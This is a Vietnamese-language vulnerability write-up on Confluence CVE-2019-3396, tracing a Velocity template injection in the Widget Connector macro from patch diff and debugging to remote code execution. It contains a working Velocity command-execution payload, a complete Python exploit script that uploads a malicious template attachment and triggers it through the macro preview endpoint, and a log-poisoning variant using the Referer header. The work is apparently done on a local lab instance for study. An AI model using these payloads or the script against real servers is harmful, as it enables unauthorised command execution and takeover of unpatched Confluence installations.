Confluence CVE-2019-3396

Confluence CVE-2019-3396

Confluence là một sản phẩm được phát triển bởi Atlassian. Một công ty sản xuất ra các phần mềm như Jira, Trello … Nó là một “collaboration tool” được thế kế cho việc chia sẻ, lưu trữ và làm việc với mọi thứ, hỗ trợ việc tạo các dự án, viết meeting note để quản lí việc hợp tác trong công việc một cách tốt hơn.

Tổng quan

Tóm tắt: Macro Widget Connector component bị dính lỗi SSTI dẫn đến RCE.

Setup môi trường

Mình sử dụng version bị lỗi là 6.9.0

Sau khi tải về, các bạn vào folder atlassian-confluence-6.9.0\bin và thêm dòng sau vào file setenv.bat để remote debug

set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

Confluence sử dụng db là postgreql nên ta sẽ dùng docker cho tiện trong việc cài đặt (ở đây mình dùng ở máy ảo, vì interface sẽ cố định)

Xong khi start container, vào lại folder bin và chạy file start-confluence.bat để bắt đầu run server.

Sơ lược về các step khi setup: Chọn Trial (sau đó click vào link để lấy free trial key) → Setup cluster (ngay bước này cần setup sao cho cùng interface với lại máy ảo) → Nhập các thông số cho db → ….

Sau khi tất cả đã cài đặt thành công sẽ hiển thị ra như sau

Diff

Tải một version khác đã được fix lỗi → 6.6.12

Vì mô tả có đề cập đến Widget Connector nên ta thử search trong folder source của confluence:

Vậy có lẽ chỉ cần diff hai file jar của hai version trên là được

Ở đây ta thấy đối với version đã vá lỗi, tại class WidgetMacro có thêm một đoạn check doSanitizeParameters đối với parameters trước khi thực hiện renderManager.getEmbeddedHtml().

Setup remote debug

Tạo folder libs_debug trong atlassian-confluence-6.9.0, và dùng command sau để copy tất cả các file jar trong source vào folder này

find . -iname '*.jar' -exec cp {} libs_debug \;

Kết quả:

Mở folder source với intellj idea, vào Project Structure → + → Java

Và chọn folder libs_debug

Add thêm Debug configuration như sau:

Phân tích

Note: cần kiến thức cơ bản về SSTI trong velocity.

Cách add macro widget connector xem tại đây.

Nhập các input và ấn Preview

Request bắt được như sau

Tiến hành remote debug, set breakpoint tại com.atlassian.confluence.extra.widgetconnector.WidgetMacro.execute

Send lại request, lúc này ta thấy parameters chính là các giá trị nhận từ POST request

Và gọi đến DefaultRenderManager.getEmbeddedHTML()

Hàm này list ra các renderSupporter sau đó dùng biến url để lấy ra đúng widgetRenderer tương ứng

Do đó sẽ gọi đến YoutubeRenderer.getEmbeddedHtml()

Set bp tại com.atlassian.confluence.extra.widgetconnector.video.YoutubeRenderer.getEmbeddedHtml() và F9 để nhảy tới

Tiếp tục call đến getEmbedUrl(), setDefaultParam()DefaultVelocityRenderService.render() . Tại đây ta chỉ cần quan tâm đến hàm setDefaultParam()

nếu _template không được set thì sẽ mặc định là ...youtube.vm ⇒ có thể control được giá trị _template này

DefaultVelocityRenderService.render() lấy các giá trị từ params và đưa vào contextMap sau đó call tới this.getRenderedTemplate()

Gọi tới VelocityUtils.getRenderedTemplate()

Gọi đến một hàm cùng tên ở dòng 42 và gọi getRenderedTemplateWithoutSwallowingErrors()

Vẫn trong class này gọi getTemplate()

Lưu ý lúc này templateName chính là giá trị _template ban nãy đã nói (giá trị này control được)

VelocityEngine.Template() gọi đến RunimeInstance.getTemplate()

Và gọi đến CompatibleVelocityResourceManager.getResource()

Hàm này tính toán resourceKey dựa trên type và name sau đó lấy từ cache, nếu có → trả về cho người dùng (suy ra lúc sau nếu có thay đổi payload thì cần phải làm cho resourceKey này khác với cái trước đó nếu không sẽ trả về kết quả như cũ)

Vì ở đây sẽ cần nhảy đến dòng số 139 nên sẽ send lại request:

Ta thấy có 4 resourceLoaders được gọi để lấy template thông qua getResourceStream()

(Ngoài lề: Sau khi xem lại bài viết thì mình nhận ra là bản thân đang debug lúc nó getTemplate cái error.vm để trả về lỗi 😢 nhưng thật ra luồng hoạt động thì vẫn đúng nên các bạn thông cảm nhé 😙)

Chúng là

com.atlassian.confluence.setup.velocity.HibernateResourceLoader
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader

Hai cái cần để ý tới là FileResourceLoaderClasspathResourceLoader

  1. FileResourceLoader

Trước tiên đưa qua StringUtils.normalizePath() để chặn path traversal

Hàm này như sau

Check qua source của hàm thì thấy ta chỉ có thể đọc được các file tại path atlassian-confluence-6.9.0/confluence

  1. ClasspathResourceLoader

Sẽ nhảy tới org.apache.catalina.loader.WebappClassLoaderBase tại đây gọi đến this.findResource()

findResource() này tiếp tục call đến super.findResource()

Và trả về một URLConnection object

Và tại dòng 641 sẽ gọi openStream() với url vừa tìm được ở trên để lấy data từ url.

Kết quả:

Vậy ta có thể điều khiển vị trí file template mà velocity engine sẽ dùng để render

Note: trong các case thực tế khi không biết đường dẫn cụ thể của các file, folder ta có thể tận dụng scheme file trong java để list

POC có outbound

Cách này thì khá đơn giản, chỉ việc host một file template sau đó dùng http://ftp để server fetch về là xong

Tuy nhiên cần phải lưu ý ở đây đó là ta phải dùng reflection, nếu các bạn để ý thì đối với ssti thông thường payload sau vẫn sẽ hoạt động

#set ($e="bla")

$e.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

Nhưng trong case này thì sẽ không work, khi mình debug sâu xuống dưới thì nhận ra đây là nguyên nhân

Tóm gọn: sau một hồi getTarget class blabla, từ method getRuntime() của java.lang.Runtime lại trở thành tìm method getRuntime() của java.lang.Class trong methodCache và dĩ nhiên là trả về một CACHE_MISS → return về null và không exploit được.

Payload echo:

#set ($exp="test")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

POC không có outbound

  1. Attachment một file và path traversal để rce

Confluence cho phép user đính kèm file cho một page, và file sẽ được lưu vào filesystem trên server theo một cách đã quy định trước: https://confluence.atlassian.com/display/CONF30/Hierarchical+File+System+Attachment+Storage

Final script:

import requests
import json
from bs4 import BeautifulSoup
import re

URL = "http://127.0.0.1:8090"
s = requests.Session()

spaceId = ""
homeId = ""   # In this case, homeId and contentId are the same
attachmentId = ""
shared_folder = "D:/confluence-home/shared"
USERNAME = "admin"
PASSWORD = "admin"

SPACE_ID_PATH = "/rest/api/space"

VIEW_PAGE_ATTACHMENT_PATH = "/pages/viewpageattachments.action"
ATTACH_FILE_PATH = "/pages/doattachfile.action"
REMOVE_ATTACHMENT_PATH = "/json/removeattachment.action"
SSTI_PATH = "/rest/tinymce/1/macro/preview"
TEMPLATE_NAME = "rce.vm"
CREATE_SPACE_PATH = "/spacedirectory/view.action"
GET_SPACEKEY_PATH = "/rest/api/space"
PERSONAL_SPACE_CREATE_PATH = "/rest/create-dialog/1.0/space-blueprint/create-personal-space"

def login():
    print("[-] Login ...")
    data = {"os_username": USERNAME, "os_password": PASSWORD,
        "os_cookie": "true", "login": "Log in", "os_destination": ''}
    s.post(URL + "/dologin.action", data=data)

def get_spaceId_and_homeId():
    print("[-] Getting spaceId and homeId ...")
    r = s.get(URL + SPACE_ID_PATH + f"/{SPACE_KEY}")
    result = json.loads(r.text)
    spaceId = str(result["id"])
    homeId = str(result["_expandable"]["homepage"]).split("/")[-1]
    return spaceId, homeId

def get_atl_token(PATH):
    r = s.get(URL + PATH,
              params={"pageId": homeId}, proxies={"http": "http://127.0.0.1:8080"})
    soup = BeautifulSoup(r.content, features="html.parser")
    atl_token = soup.find(
        "form", id="upload-attachments").find("input")["value"]
    return atl_token

def attach_and_get_attachmentId():
    template = """#set($exp="test")
    $exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc"))
    """
    parts = {
        "atl_token": (None, get_atl_token(VIEW_PAGE_ATTACHMENT_PATH)),
        "file_0": (TEMPLATE_NAME, template),
        "confirm": (None, "Attach")
    }

    r = s.post(URL + ATTACH_FILE_PATH, params={"pageId": homeId},
               files=parts, proxies={"http": "http://127.0.0.1:8080"})
    attachmentId = re.search(
        r'<tr id="attachment-(.*)" data-attachment-filename="' + TEMPLATE_NAME + r'"', r.text)[1]
    delete_attachment()
    return attachmentId


def get_spaceKey():
    print("[-] Getting space key ...")
    r1 = s.get(URL + GET_SPACEKEY_PATH)
    result = json.loads(r1.text)

    if len(result["results"]) == 0:
        r2 = s.post(URL + PERSONAL_SPACE_CREATE_PATH, json={"spaceUserKey": ""})
        return json.loads(r2.text)["key"]
    else:
        return re.search(r'"key":"(.*)","name"', r1.text).group(1)

def delete_attachment():
    print("[-] Deleting attachment ...")
    s.post(URL + REMOVE_ATTACHMENT_PATH,
           params={"pageId": homeId, "fileName": TEMPLATE_NAME}, data={"atl_token": get_atl_token(VIEW_PAGE_ATTACHMENT_PATH)})

def delete_space():
    pass
def exploit():
    print("[-] Attaching template file and RCE ... ")
    attachmentId = attach_and_get_attachmentId()

    # Reference: https://confluence.atlassian.com/display/CONF30/Hierarchical+File+System+Attachment+Storage
    uploaded_file_location = f"file:///{shared_folder}/attachments/ver003/{str(int(spaceId[-3:]) % 250)}/{str(int(spaceId[0:3]) % 250)}/{spaceId}/{str(int(homeId[-3:]) % 250)}/{str(int(homeId[0:3]) % 250)}/{homeId}/{attachmentId}/1"
    # print(uploaded_file_location)

    json_data = {
        "contentId": homeId,
        "macro": {
                "name": "widget",
                "body": "",
                "params": {
                    "url": "http://au.youtube.com/watch?v=-dnL00TdmLY",
                    "width": "400",
                    "height": "400",
                    "_template": uploaded_file_location 
                }
            }
        }
    r = s.post(URL + SSTI_PATH, json=json_data)
    print("[-] Done")

login()
SPACE_KEY = get_spaceKey()
spaceId, homeId = get_spaceId_and_homeId()
exploit()

  1. Thông qua log file

Dựa vào hint của anh peterjson, mình tiến hành check qua các file log trên server

Ở đây chú ý tới file atlassian-confluence.log , nằm tại <CONFLUENCE_HOME_FOLDER>/data/logs/

Lướt sơ qua nội dung file này, thì thấy header Referer trong request được log lại

→ Chèn payload vào header này và trỏ _template tới

Chỉnh lại payload

Check log file, lúc này payload đã được đưa vào thành công

Một điểm nữa đó là cơ chế rotate của file log với max file size là 20MB

Ban đầu mình nghĩ sẽ cần phải tính toán sao cho giá trị của Referer header nằm ở ngay đầu file log, sau đó comment hết các dòng còn lại với #* (http://www.java2s.com/Code/Java/Velocity/VelocityCommentsMultiline.htm)

Nhưng một lúc sau, khi để Intruder chạy tự động và send khoảng 3k payload thì calculator popup. Trong quá trình chạy, mình vào check log file và thấy báo lỗi ở dòng 10 tại :66)... , dễ hiểu bởi vì dấu : trong đoạn log gây ra lỗi syntax trong velocity:

Bỏ request vào Intruder và chỉnh Generate 3000 payloads

Tình trạng file log:

Có thể thấy nội dung của file log trước #* là syntax hợp lệ nên RCE thành công